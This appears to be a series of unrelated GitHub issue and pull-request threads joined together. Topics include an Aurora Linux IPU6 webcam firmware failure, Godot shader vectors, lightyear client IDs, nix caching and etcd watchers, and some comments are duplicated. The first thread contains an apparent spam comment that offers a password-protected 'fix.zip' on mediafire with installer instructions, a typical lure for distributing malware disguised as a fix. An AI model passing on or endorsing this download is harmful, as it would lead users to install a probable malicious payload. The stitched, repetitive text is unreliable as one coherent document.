Dell Latitude 7440 MIPI IPU6 webcam not initializing: "Direct firmware load for intel/ipu/ipu6ep_fw.bin failed with error -2"

Describe the bug
Dell Latitude 7440 is one of the laptop models that contain a webcam based on an Intel MIPI IPU6 subsystem.
Proper drivers appeared in Linux 6.10, so are now available in aurora-dx:latest.
However, while the device is being recognized, the firmware fails to load, and the webcam does not work.
The relevant lines from system journal are as follows:
❯ journalctl -b | grep -i 'ipu6\|edac'
Aug 29 18:30:30 fedora kernel: EDAC MC: Ver: 3.0.0
Aug 29 18:30:30 fedora kernel: EDAC MC: Ver: 3.0.0
Aug 29 16:31:33 fedora kernel: caller igen6_probe+0x2f6/0x800 [igen6_edac] mapping multiple BARs
Aug 29 16:31:33 fedora kernel: EDAC MC0: Giving out device to module igen6_edac controller Intel_client_SoC MC#0: DEV 0000:00:00.0 (INTERRUPT)
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: enabling device (0000 -> 0002)
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: IPU6 in secure mode touch 0x0 mask 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Unexpected CSR 0x0
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: Direct firmware load for intel/ipu/ipu6ep_fw.bin failed with error -2
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: error -ENOENT: Requesting signed firmware intel/ipu/ipu6ep_fw.bin failed
Aug 29 16:31:33 fedora kernel: intel-ipu6 0000:00:05.0: probe with driver intel-ipu6 failed with error -2
Aug 29 16:31:33 fedora kernel: EDAC MC1: Giving out device to module igen6_edac controller Intel_client_SoC MC#1: DEV 0000:00:00.0 (INTERRUPT)
Aug 29 16:31:33 fedora kernel: EDAC igen6: v2.5.1
Aug 29 16:31:33 fedora kernel: EDAC igen6 MC1: HANDLING IBECC MEMORY ERROR
Aug 29 16:31:33 fedora kernel: EDAC igen6 MC1: ADDR 0x1ffffffffff
Aug 29 16:31:33 fedora kernel: EDAC igen6 MC0: HANDLING IBECC MEMORY ERROR
Aug 29 16:31:33 fedora kernel: EDAC igen6 MC0: ADDR 0x1ffffffffff
Aug 29 16:31:33 fedora kernel: Modules linked in: dell_smm_hwmon(+) firmware_attributes_class snd_hda_core(+) wmi_bmof snd_hwdep wl(POE+) pcspkr acpi_cpufreq(-) mac80211 snd_seq snd_seq_device binfmt_misc snd_pcm hid_sensor_als hid_sensor_accel_3d hid_sensor_trigger libarc4 hid_sensor_iio_common snd_timer industrialio_triggered_buffer kfifo_buf processor_thermal_device_pci industrialio spi_intel_pci snd i2c_i801 processor_thermal_device processor_thermal_wt_hint spi_intel processor_thermal_rfim soundcore i2c_smbus processor_thermal_rapl mei_me intel_rapl_common iwlwifi intel_ipu6 mei processor_thermal_wt_req thunderbolt(+) idma64 processor_thermal_power_floor ipu_bridge processor_thermal_mbox igen6_edac vfat fat int3403_thermal soc_button_array int340x_thermal_zone legion_laptop mei_vsc_hw platform_profile intel_skl_int3472_tps68470 intel_pmc_core tps68470_regulator dptf_pch_fivr clk_tps68470 intel_hid intel_vsec sparse_keymap int3400_thermal pmt_telemetry intel_skl_int3472_discrete pmt_class acpi_thermal_rel acpi_tad acpi_pad joydev

Indeed, the filesystem contains no files called ipu6ep_fw.bin:
❯ find / -iname '*ipu6*'
find: ‘/run/user/1000/doc’: Permission denied
/sys/kernel/btf/intel_ipu6
/sys/kernel/debug/printk/index/intel_ipu6
/sys/bus/pci/drivers/intel-ipu6
/sys/module/ipu_bridge/holders/intel_ipu6
/sys/module/intel_ipu6
/sys/module/intel_ipu6/drivers/pci:intel-ipu6
/sysroot/ostree/repo/refs/heads/rpmostree/pkg/ipu6-camera-bins-firmware
/sysroot/ostree/repo/refs/heads/rpmostree/pkg/akmod-intel-ipu6
/sysroot/ostree/repo/refs/heads/rpmostree/pkg/ipu6-camera-bins
/sysroot/ostree/repo/refs/heads/rpmostree/pkg/ipu6-camera-hal
/sysroot/ostree/deploy/fedora/deploy/edf4e989bd7a45abb7dce447d82bd3bf33012414cd83ead86e07adb5c4c8d16c.0/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6
/sysroot/ostree/deploy/fedora/deploy/edf4e989bd7a45abb7dce447d82bd3bf33012414cd83ead86e07adb5c4c8d16c.0/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6/intel-ipu6-isys.ko.xz
/sysroot/ostree/deploy/fedora/deploy/edf4e989bd7a45abb7dce447d82bd3bf33012414cd83ead86e07adb5c4c8d16c.0/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6/intel-ipu6.ko.xz
find: File system loop detected; ‘/sysroot/ostree/deploy/fedora/deploy/edf4e989bd7a45abb7dce447d82bd3bf33012414cd83ead86e07adb5c4c8d16c.1’ is part of the same file system loop as ‘/’.
/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6
/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6/intel-ipu6-isys.ko.xz
/usr/lib/modules/6.10.5-201.fsync.fc40.x86_64/kernel/drivers/media/pci/intel/ipu6/intel-ipu6.ko.xz

What did you expect to happen?
I expected the webcam to start working after switching to :latest with kernel 6.10.
Output of rpm-ostree status
State: idle
AutomaticUpdates: stage; rpm-ostreed-automatic.timer: no runs since boot
Deployments:
● ostree-image-signed:docker://ghcr.io/ublue-os/aurora-dx:latest
                   Digest: sha256:262c593992158da426c08f52dab6ce5c4fe646ec4b5614937f5b0a33a6cb347d
                  Version: 40.20240828.0 (2024-08-29T04:51:36Z)

  ostree-unverified-image:docker://ghcr.io/ublue-os/aurora-dx:latest
                   Digest: sha256:262c593992158da426c08f52dab6ce5c4fe646ec4b5614937f5b0a33a6cb347d
                  Version: 40.20240828.0 (2024-08-29T04:51:36Z)

Output of groups
laptop-user wheel lxd incus-admin libvirt docker

Extra information or context
❯ uname -a
Linux fedora 6.10.5-201.fsync.fc40.x86_64 #1 SMP PREEMPT_DYNAMIC TKG Wed Aug 21 22:29:00 UTC 2024 x86_64 GNU/Linux

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I think the kernel is good, but the firmware is missing:
error -ENOENT: Requesting signed firmware intel/ipu/ipu6ep_fw.bin failed
There is a file that sounds like a firmware package for these types of cameras:
/sysroot/ostree/repo/refs/heads/rpmostree/pkg/ipu6-camera-bins-firmware
How can I check if it is installed, and what files it contains?

Hi,
For me, the installed file was intel/ipu6ep_fw.bin, but the module intel_ipu6 is looking into intel/ipu.
Firmware are available at https://github.com/intel/ipu6-camera-bins
I not longer have that error, but the device is still not available for v4l2-ctl.

Thanks, that's a step forward!
Here is a snippet for an easy copy-paste. Run as root:
rpm-ostree usroverlay
wget 'https://github.com/intel/ipu6-camera-bins/raw/main/lib/firmware/intel/ipu6ep_fw.bin' -O /usr/lib/firmware/intel/ipu/
rmmod intel-ipu6
modprobe intel-ipu6

Ok I've reopened the old issue in the main repo so we can centralize it, nice work and thank you for digging in!

@castrojo, is the main repo you mentioned available publicly?
I'd like to debug the issue further, as my webcam still doesn't work in the current aurora-dx:41

Here's the main issue for ipu6 support: https://github.com/ublue-os/main/issues/229


[Question] Can you programmatically clear the kv cache?

❓ General Questions
The kv cache should end up consuming more memory over time, can you programmatically purge it?

bump?

Hi @0xLienid, we allocate the KV cache with a fixed size during initialization and do not allocate extra memory for the KV cache as time goes. Could you elaborate a bit more on what you want to do?


Linux arch is amd64 when using Oracle Java 8

Hello!
I use Oracle JDK in my project and Linux architecture is detected as amd64.
Thus webp bin files could not be copied to CWEBP_TMP_DIR.
My workaround is simple:
` private static String getOsName() {
    // windows
    if (OS_NAME.indexOf("win") >= 0) {
        boolean is64bit = (System.getenv("ProgramFiles(x86)") != null);
        return "windows_" + (is64bit ? "x86_64" : "x86");
    } else if (OS_NAME.indexOf("mac") >= 0) {
        // mac osx
        return "mac_" + OS_ARCH;
    } else if (OS_NAME.indexOf("nix") >= 0 || OS_NAME.indexOf("nux") >= 0 || OS_NAME.indexOf("aix") > 0) {
        // unix
        return "amd64".equalsIgnoreCase(OS_ARCH) ? "linux_x86_64" : "linux_" + OS_ARCH;
    } else {
        throw new WebpIOException("Hi boy, Your OS is not support!!");
    }
}`

Hello!
I use Oracle JDK in my project and Linux architecture is detected as amd64.
Thus webp bin files could not be copied to CWEBP_TMP_DIR.
My workaround is simple:
` private static String getOsName() {
    // windows
    if (OS_NAME.indexOf("win") >= 0) {
        boolean is64bit = (System.getenv("ProgramFiles(x86)") != null);
        return "windows_" + (is64bit ? "x86_64" : "x86");
    } else if (OS_NAME.indexOf("mac") >= 0) {
        // mac osx
        return "mac_" + OS_ARCH;
    } else if (OS_NAME.indexOf("nix") >= 0 || OS_NAME.indexOf("nux") >= 0 || OS_NAME.indexOf("aix") > 0) {
        // unix
        return "amd64".equalsIgnoreCase(OS_ARCH) ? "linux_x86_64" : "linux_" + OS_ARCH;
    } else {
        throw new WebpIOException("Hi boy, Your OS is not support!!");
    }
}`

Hi @ky6uhetc ,
The owner for some reason has not responded, it would be cool if this was merged.
to use your solution I copied the whole package for this repo into my project and made the modification you said.
am I doing the right way?

Hello!
I use Oracle JDK in my project and Linux architecture is detected as amd64.
Thus webp bin files could not be copied to CWEBP_TMP_DIR.
My workaround is simple:
` private static String getOsName() {
    // windows
    if (OS_NAME.indexOf("win") >= 0) {
        boolean is64bit = (System.getenv("ProgramFiles(x86)") != null);
        return "windows_" + (is64bit ? "x86_64" : "x86");
    } else if (OS_NAME.indexOf("mac") >= 0) {
        // mac osx
        return "mac_" + OS_ARCH;
    } else if (OS_NAME.indexOf("nix") >= 0 || OS_NAME.indexOf("nux") >= 0 || OS_NAME.indexOf("aix") > 0) {
        // unix
        return "amd64".equalsIgnoreCase(OS_ARCH) ? "linux_x86_64" : "linux_" + OS_ARCH;
    } else {
        throw new WebpIOException("Hi boy, Your OS is not support!!");
    }
}`

Hi @ky6uhetc ,
The owner for some reason has not responded, it would be cool if this was merged.
to use your solution I copied the whole package for this repo into my project and made the modification you said.
am I doing the right way?

Hi @1pavanb , sorry for long time answer!
Yes, that's what i did.


Make ClientId an enum

With the PR that introduced multiple server connections at the same time (e.g. Netcode + Steam), we had a complicated id-mapping system that would map the connection's local-id (for example steamId) to the global id used by lightyear.
This had several drawbacks:

it was complicated
it assumed that server ids were all u64
it meant that the global client id was not known by the client even after connecting, and the server had to send a message to the client to let them know about their global client id

Instead, it is much simpler to have the Id be an enum depending on the server connection type:
enum ClientId {
  Netcode(u64),
  Steam(u64)
}

This PR makes a couple of other adjustments:

remove GlobalMetadata and LocalToGlobalIdMapping
added a ConnectEvent and DisconnectEvent on the client-side
Updated the replication plugins to let the user enable/disable Replication-Receive and Replication-Send
Updated tests/examples

Codecov Report
Attention: Patch coverage is 70.70064% with 46 lines in your changes are missing coverage. Please review.

Project coverage is 61.92%. Comparing base (47aaff7) to head (94cfe07).
Report is 13 commits behind head on main.

Files
Patch %
Lines

lightyear/src/server/input_leafwing.rs
0.00%
10 Missing :warning:

lightyear/src/server/networking.rs
57.89%
8 Missing :warning:

lightyear/src/connection/id.rs
0.00%
7 Missing :warning:

lightyear/src/connection/netcode/server.rs
53.33%
7 Missing :warning:

lightyear/src/server/events.rs
81.25%
3 Missing :warning:

lightyear/src/shared/replication/hierarchy.rs
81.25%
3 Missing :warning:

lightyear/src/client/input.rs
0.00%
2 Missing :warning:

lightyear/src/server/connection.rs
50.00%
2 Missing :warning:

lightyear/src/shared/events/components.rs
50.00%
2 Missing :warning:

lightyear/src/client/connection.rs
0.00%
1 Missing :warning:

... and 1 more

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #209      +/-   ##
==========================================
- Coverage   62.08%   61.92%   -0.16%
==========================================
  Files         140      141       +1
  Lines        8798     8911     +113
==========================================
+ Hits         5462     5518      +56
- Misses       3336     3393      +57

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


flake: add cache config

This enables nix tooling to offer to enable the cache:
edrex@chip ~/s/g/B/nix-script (main)> nix profile install .
do you want to allow configuration setting 'extra-substituters' to be set to 'https://nix-script.cachix.org' (y/N)? y
do you want to permanently mark this value as trusted (y/N)? y
do you want to allow configuration setting 'extra-trusted-public-keys' to be set to 'nix-script.cachix.org-1:czo3tF6XERpkDdMd6m84XjmgeHQXNeIooSt7b0560+c=' (y/N)? y
do you want to permanently mark this value as trusted (y/N)? y

(doesn't work for inputs, only the root flake)
I didn't get a cache hit when I just tried it though.

I feel a little confused: is this working and ready for review or not? You say you didn't get a cache hit. Do you know why?

That means your build is broken.

Can you say more?

Sorry, edit above

I saw this happen once before when https://github.com/srid/emanote added it, i think it was wrong nixpkgs version.

Do you mean a differing nixpkgs between your installation and the one in this repo? Or something else?

flake run uses the version from the lock, unless i used --override-input nix-script github:my/fork. It must be the derivation output of flake.nix:packages.default (with inputs as flake.lock, including nixpkgs) isn't being uploaded to the cache.

I can take a look when I'm back at my laptop

Oops that should be something like  --override-input nixpkgs nixpkgs (The second argument is evaluated against the local registry, so it gives you whatever you have pinned locally). That may be what is happening on the build.


App-recognition for music players who identify as com.android.music

A lot of Music-Players identify themselfs as the "generic android music player" and sending broadcasts with com.android.music.XXX intents
Scrobbling support in this case is implemented, but no "app recognition feature"
As some of theese music apps also include an extra String "scrobbling_source"
eg. bundle.putString("scrobbling_source", "com.examplecompany.exampleapp");
we can add App-recognition in case an app does exactly this.

In addition to that, i assume that, with another small code addition you should be able to filter out PowerAmps "vanilla android scrobbling" issue mentioned in #119 and #200, since its sending an extra "com.maxmpz.audioplayer.source"
This however, is untested

Hi @Alia5 very great work.
Could I ask what music apps you tested this with?
I will test this some tonight, but the code looks like it shouldn't cause any problems.
I will commit it tonight or tomorrow hopefully and then make all the file changes for the Apache licensing.
Thanks. Happy New Year.

Hi @Alia5 very great work.
Could I ask what music apps you tested this with?
I will test this some tonight, but the code looks like it shouldn't cause any problems.
I will commit it tonight or tomorrow hopefully and then make all the file changes for the Apache licensing.
Thanks. Happy New Year.

Oh nice :+1:

I did see this here, and wondered why you guys don't do the same

the action "com.android.music.xxxxxxxchanged" corresponds to the same action that is used by default on Android; rather than creating a custom action for every player, it is better to stick to this one
as a consequence to the first note, the "scrobbling_source" extra is used to identify the source application (i.e., your app)

Since it was super quick and easy to implement to implement I made this PR
I didn't go too in depth in checking, since I am developing my own media app currently, which may or may not see the light of the public...
Pretty much every app that broadcasts the "scrobbling_source" extra for musixmatches floating lyrics should work with this.
I know it doesn't interfere with anything, that's what I did properly check at least.
Spotify is also working flawless with this. I dont get anything reported in #223 but I'm not sure if the issues existed for me beforehand.
Spotyfy afaik sends the "source" extra btw, according to musixmatch.
As for apps which doesn't have their own dedicated broadcast-receiver i know that shuttle works.
I finally checked with poweramp.
"Scroble via Offical Last.fm app" doesn't get app recognition, but as stated in my comment this would need to check for "com.maxmpz.audioplayer.source"
Should be super quick too, maybe I can check this when I find some spare time.
Android WAIL app, which seems to be discontinued, does exactly this


[W-11267884] dataweave button - UI update from ux feedback

ref: W-11267884, https://github.com/mulesoft/docs-site-playbook/pull/975

made CSS and JS updates to match the UX design for the dataweave "try me" button
update code snippet logic to allow try me button in dataweave-related code snippets, including XML and JSON snippets
minor clean up

https://www.loom.com/share/da35d7346dc44074b01eb5b706c19834

pending Ryan to review, then I will have the team review


Godot 4.0: Wrong VIEW vector in light() shader

Godot version
4.0.dev (84c404f), and same for 4.0b4
System information
MacOS Monterey 12.0.1, Intel Iris Graphics 550 1536 MB
Issue description
For orthogonal camera, VIEW vector in light() part of shader should be equal vec3(0.0, 0.0, 1.0), but in real this vector has different direction
Steps to reproduce
Add camera, sphere and source of light in your project, add this shader to sphere:
shader_type spatial;

void light() {
	DIFFUSE_LIGHT += vec3( pow( dot(VIEW, NORMAL), 3.0) );
}

in editor result will be fine:

but in camera view:

As a temporary solution can use just vector vec3(0.0, 0.0, 1.0) instead VIEW
Minimal reproduction project
test_view.7z.zip

I think it's related to the position of Spotlight in your scene. Try to cover the geometry by the light volume completely and the bug will be gone.

Even it will be fully cover, VIEW vector is still remain wrong

Ah, yes, but there is not much we can do with it. Maybe detecting the orthogonality of the camera in the scene shader and replace the VIEW to vec3(0, 0, 1) ? (I'm afraid it's too performance consuming for the little effort). cc @clayjohn

@Chaosus i think this solution is ok, its not a big problem to use just a vec3(0, 0, 1), but i think in this case better update this info in docs.godotengine.org, as it will be not so obvious for some people

Right, marked as documentation issue ^^.

It looks like there was a lot of discussion about this on the Three.js github https://github.com/mrdoob/three.js/issues/17662 They ended up switching it so that orthogonal cameras use a VIEW vector of vec3(0, 0, 1). As far as I can tell, both Unity and Unreal use the same VIEW vector for both perspective and orthogonal cameras.
It seems a VIEW vector of vec3(0, 0, 1) for orthogonal cameras is more "correct" in a certain sense. Oddly enough, when setting the viewport camera to "orthogonal" mode the VIEW vector is always vec3(0.0, 0.0, 1.0), I guess that it is set at a distance away from the origin sufficient that the VIEW vector is effectively  always vec3(0.0, 0.0, 1.0).
I wonder if any people are currently relying on the current "incorrect" behaviour. If no one is, then I don't mind changing the  VIEW vector to vec3(0, 0, 1) for orthogonal cameras

This was documented in https://github.com/godotengine/godot-docs/pull/8708. Are we leaving this open to track potentially changing the actual behavior, or can it be closed?


Clarify licensing in connection with the Application Plugin

This adds ASL 2.0 to the application start scripts (Unix and Windows) and also
clarifies that the plugin does not affect what license you can use for an
application that's packaged with them.
Resolves issue #8151.

Thanks @pledbrook - could you update the tests too? https://builds.gradle.org/viewLog.html?buildId=20001455&buildTypeId=Gradle_Check_Stage_QuickFeedback_Trigger
Just the first few tests, it looks like TestProgressDaemonErrorsCrossVersionSpec is just flakiness.

@big-guy Did you mean to merge to release? The changes were made against master. I can update the pull request to base against release instead if you'd like.

Yep, release is 5.3 now and master is 5.4.


How does one evaluate predict() during training?

Hi,
Apologies if this question doesn't below here. I've noticed while training mountain car with a dqn using the sample scripts the agent while training never converges to produce the same set of actions to reach the hilltop every episode. When I run the enjoy_mountain_car script it solves the environment on every episode. Is it possible to evaluate the true performance of the training agent during learn() without running an enjoy_mountain_car-like script and recording performance at every kth timestep?
n.b. I'm now to RL
code below:
class CustomPolicy(FeedForwardPolicy):
def init(self, *args, **kwargs):
super(CustomPolicy, self).init(*args, **kwargs,
layers=[64, 64],
layer_norm=True,
feature_extraction="mlp")
env = gym.make("MountainCar-v0")
model = DQN(
policy=CustomPolicy,
env=env,
verbose=1,
learning_rate=1e-3,
buffer_size=50000,
exploration_fraction=0.1,
exploration_final_eps=0.1,
param_noise=True,
prioritized_replay=True,
action_error_std=0
)
model.learn(total_timesteps=100000)
print("Saving model to mountaincar_model.pkl")
model.save("mountaincar_model.pkl")
while True:
obs, done = env.reset(), False
episode_rew = 0
while not done:
if not False:
env.render()
# Epsilon-greedy
if np.random.random() < 0.02:
action = env.action_space.sample()
else:
action, _ = model.predict(obs, deterministic=True)
obs, rew, done, _ = env.step(action)
episode_rew += rew
print("Episode reward", episode_rew)
# No render is only used for automatic testing
Thanks!

much appreciated I will give it a try.
Best


⚠ Fortnite has degraded performance

In 307b8bf, Fortnite (https://fortnite.com) experienced degraded performance:

HTTP code: 200
Response time: 1401 ms

Resolved: Fortnite performance has improved in 78fa0e6.


mvcc: tighten up watcher cancelation and revision handling

Makes w.cur into w.minrev, the minimum revision for the next update, and
retries cancelation if the watcher isn't found (because it's being processed
by moveVictims).
Fixes: #5459

test failure is related to this change?

@gyuho not sure; the test that's failing (TestGRPCStreamRequireLeader) is already broken in master but the failure mode is "etcdserver: not capable" and not a timeout.

 Got it.

lgtm

still broken following the api capability fixes, will investigate

It was deadlocking waiting for the recvLoop to finish since the stream recv doesn't close until the handler exits; now it only waits on the send loop. The watcher wg patch is still necessary since the watchStream close needs to be synchronous to avoid spurious goroutine leak errors and must run concurrently with the recvloop goroutine to avoid deadlock


Additional FIPS Checksums CI fixes

The providers/common/der/*.in were not included correctly.
The fips-checksums CI workflow was not working properly when checking pristine and merged sources into the same directory.

CI doesn't look relevant.

CI doesn't look relevant.

Yep. I also cannot reproduce it.

24 hours has passed since 'approval: done' was set, but as this PR has been updated in that time the label 'approval: ready to merge' is not being automatically set.  Please review the updates and set the label manually.

Merged to master. Thank you for the review.


a bug with the adblock extension

🔍 Have you checked Spicetify.app page for your issue?

[X] I have checked the FAQ

🔍 Is there already an issue for your problem?

[X] I have checked older issues, open and closed

ℹ Environment / Computer Info
- Spotify version: latest i think
- Spicetify version: latest (i updated it 5 minutes ago)

📝 Description
i have installed this extension(screenshot) and it is suposed to block ads but it is not working
📸 Screenshots

pls someone


[Fix][Task] Spark submit error due to NPE (#6292)

Purpose of the pull request
fix #6292
Brief change log

fetch mainJar information when worker get task details
add resourceName field to org.apache.dolphinscheduler.common.process.ResourceInfo

Verify this pull request
this pr modified org.apache.dolphinscheduler.common.process.ResourceInfo, but it seems  like that two class named ResourceInfo has the same fields...
i suppose we should delete one of them
resolves #6292

Codecov Report

Merging #6295 (7a47509) into dev (552fd17) will decrease coverage by 0.03%.
The diff coverage is 8.33%.

@@             Coverage Diff              @@
##                dev    #6295      +/-   ##
============================================
- Coverage     38.72%   38.69%   -0.04%
- Complexity     3209     3210       +1
============================================
  Files           637      637
  Lines         25376    25399      +23
  Branches       2759     2763       +4
============================================
  Hits           9827     9827
- Misses        14655    14679      +24
+ Partials        894      893       -1

Impacted Files
Coverage Δ

...lphinscheduler/service/process/ProcessService.java
33.23% <0.00%> (-0.65%)
:arrow_down:

.../dolphinscheduler/common/process/ResourceInfo.java
36.36% <40.00%> (-6.50%)
:arrow_down:

...ache/dolphinscheduler/server/log/LoggerServer.java
78.26% <0.00%> (-8.70%)
:arrow_down:

...dolphinscheduler/remote/future/ResponseFuture.java
83.05% <0.00%> (+1.69%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 552fd17...7a47509. Read the comment docs.


cli: create 'ipfs' sub-command

:construction_worker: Purpose
Continued cleanup of temporal cli
:rocket: Changes
ipfs-* commands are now under the 'temporal queue ipfs' tree
❯ ./temporal help queue ipfs
interact with IPFS

usage:

        ./temporal queue ipfs [command]

commands:

        cluster       listen to cluster pin pubsub topic
        file
        key-creation
        pin
        pin-removal

:warning: Breaking Changes
CLI usage for temporal queue ipfs-* changed

Codecov Report

Merging #182 into V2 will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##              V2    #182   +/-   ##
=====================================
  Coverage   6.85%   6.85%
=====================================
  Files         35      35
  Lines       3240    3240
=====================================
  Hits         222     222
  Misses      2981    2981
  Partials      37      37

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7e89ff4...012c166. Read the comment docs.


Will go channel be supported?

Hi all, thank you for making this dream framework come true. I have been looking forward to this kind of tool in Go for a long time.
But sadly I noticed that, in the Serializable Types section of FAQ, chan t type is not supported.
I am wondering if there are any current plans or ongoing discussions around supporting it. As it is something that I need, I would be also interested in getting involved and contributing to its development.

Thanks for your interest. Getting channels to work across the network does sound really interesting, albeit pretty intense to implement.
Could you please describe your use-case in a bit more detail?

Hi @spetrovic77,
The most obvious use case is what we can have originally with grpc bidirectional streaming. It allows applications to communicate on a long-lived stream and have their own states in memory. This nature has helped me simplify my code for state management many times.
I understand that making channels work across the network is actually far more complex than grpc bidirectional streaming. Maybe supporting something like grpc bidirectional streaming is enough.

I believe making channels work across network could be far more complex than we think, but I have an idea on it, don't know if it's workable. My idea is that we set up a channel registry center on weave framework, and you declare a make(chan int) on code, the framework scan it and register on the center, and we know in GO, channel can be two-way channel to one-way channel, we then use the channel on our code like <- chan and chan <- int

Thanks for all of your suggestions. We'll discuss this support soon. It looks fairly involved, please reach out to us at<EMAIL_ADDRESS>if you think this will unblock some major production usage.

sure, will send an email to this address and try to contribute code if needed in this project. the idea of this project is great :)

You could provide a wrapper around the channels similar to: https://github.com/matryer/vice but this involves maintaining your own queue specific transport implementation e.g. rabbitMQ, kafka, NATs etc.

You could provide a wrapper around the channels similar to: https://github.com/matryer/vice but this involves maintaining your own queue specific transport implementation e.g. rabbitMQ, kafka, NATs etc.

I have used this with nats.
The nats jetstream broker provides load balancing across clusters if you want to.
the vice code could do with an update to the latest nats api though.
Also the vice system does not create the nats control plane AFAIK.

As everyone mentioned, making channels properly work over the network is complex.
There was a real attempt to have "netchan" in the stdlib but afaik this didn't land : video, discussion
My understanding on this is that, while wrapping the network to achieve message passing is doable, it is not currently possible to preserve the semantics of go channels. In a single machine we have good guarantees that a read and a write happen "at the same time" (wrt the memory model), but over the network we don't.

We've never managed to agree if we should add support for go channels. This work has been deprioritized.


CFE-1021: Rebase to new upstream version 1.14.0

https://issues.redhat.com/browse/CFE-1021
Upstream Changelog (rebasing from 1.13.0): https://github.com/kubernetes-sigs/gcp-compute-persistent-disk-csi-driver/releases/tag/v1.14.0
Diff to upstream: https://github.com/openshift/gcp-pd-csi-driver/compare/master...bharath-b-rh:gcp-pd-csi-driver:rebase-v1.14.0

/assign @bharath-b-rh

/hold https://github.com/openshift/gcp-pd-csi-driver/pull/63


Add option for including operationName as a query parameter

This introduces the ability to include operationName as a query parameter for the default client.
There are a few patterns for options that are described here. The existing NewClientUsingGet follows the "Declare a new constructor for each configuration option" pattern. As additional options get added, the "Functional Options Pattern" may be more scalable.
Use-case: This allows requests to be routed based on their operation.
I have:

[x] Written a clear PR title and description (above)
[x] Signed the Khan Academy CLA
[x] Added tests covering my changes, if applicable
[ ] Included a link to the issue fixed, if applicable
[x] Included documentation, for new features
[x] Added an entry to the changelog

Hi @StevenACoffman
The lint failures seem unrelated to this PR. I am also unable to trigger these errors locally with:
docker run --rm -v $(pwd):/app -w /app golangci/golangci-lint:v1.52.2 golangci-lint run -v

Do you have any guidance on what could be going wrong? Thanks!

Ah, and I'm not sure what's up with the lint. I agree it looks off, but I don't have time to figure out why right now. Perhaps we should try updating the linter -- feel free to give that a go in a separate PR if you like!

Lint is fixed in #311 so once you merge main that part should be good!

Closing, as this is stale and there are other options. Feel free to make a new PR if you address the comments!


shareGaInstance not working with NextJs

Loading GA tag the proper way in NextJs and setting shareGaInstance prop gives this error: Whoops! You enabled the shareGaInstance feature in yourtypeform embed but the tracker with ID G-CLB8J230JC was not found. Make sure to include Google Analytics Javascript code before the Typeform Embed Javascriptcode in your page and use correct tracker ID
Google Analytics is loaded using Next's

Hello, can you please share the code of how you are loading the GA tag in your NextJS app? I will look into this.

:tada: This issue has been resolved in version @typeform/embed-v2.13.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Bulk download of SRI NN data only contains Genes and Proteins?

thanks for making the bulk download at the end of March!
I've begun using the files @gaurav pointed me to, here:
https://stars.renci.org/var/babel_outputs/2022dec2-2/kgx/
I noticed that the nodes file (KGX_NN_data-2023mar22_nodes.jsonl.gz) seems to only contains Gene and Protein nodes.
these are the node counts I'm getting by category:
{
  "Gene": 51306192,
  "Protein": 250893067
}

and by prefix:
{
  "NCBIGene": 41177208,
  "ENSEMBL": 29643120,
  "ZFIN": 38076,
  "FB": 30263,
  "WormBase": 81220,
  "HGNC": 43530,
  "OMIM": 16968,
  "UMLS": 207988,
  "RGD": 66943,
  "MGI": 79841,
  "SGD": 7154,
  "dictyBase": 13893,
  "UniProtKB": 230567075,
  "PR": 225980
}

I was under the impression that this download should include all nodes the SRI NN knows about, including Diseases, Drugs, etc.?
thanks!

Ack! Thanks for pointing this out, Amy -- it turns out that I used the default config file, which only uses Gene.txt and Protein.txt.
https://github.com/TranslatorSRI/NodeNormalization/blob/baa1167461697c1a7b03bf65c2cbc7c55c0920d1/config.json#L7
I will rerun the KGX generation with the full compendium over the weekend and have the updated KGX files for you on Monday. Sorry about this!

ah, got it. no worries! that sounds great. thanks!

@amykglen Could you please try the KGX dumps at https://stars.renci.org/var/babel_outputs/2022dec2-2/kgx/ and see if that fixes this bug?

looks good to me - thank you!


noise of a2dp_sink

Hello all,
I use A2DP source and sink on esp32 github. I just simply did a test, I use my smartphone to connect to the A2DP sink by bluetooth and play music, I chose internal dac. When I don't play music, there is no noise, when I play music, there is a lot of noise. I found that the sample frewuency is 2777Hz
I (12121) I2S: PLL_D2: Req RATE: 44100, real rate: 2777.000, BITS: 16, CLKM: 30,
 BCK: 60, MCLK: 30.234, SCLK: 88864.000000, diva: 64, divb: 14

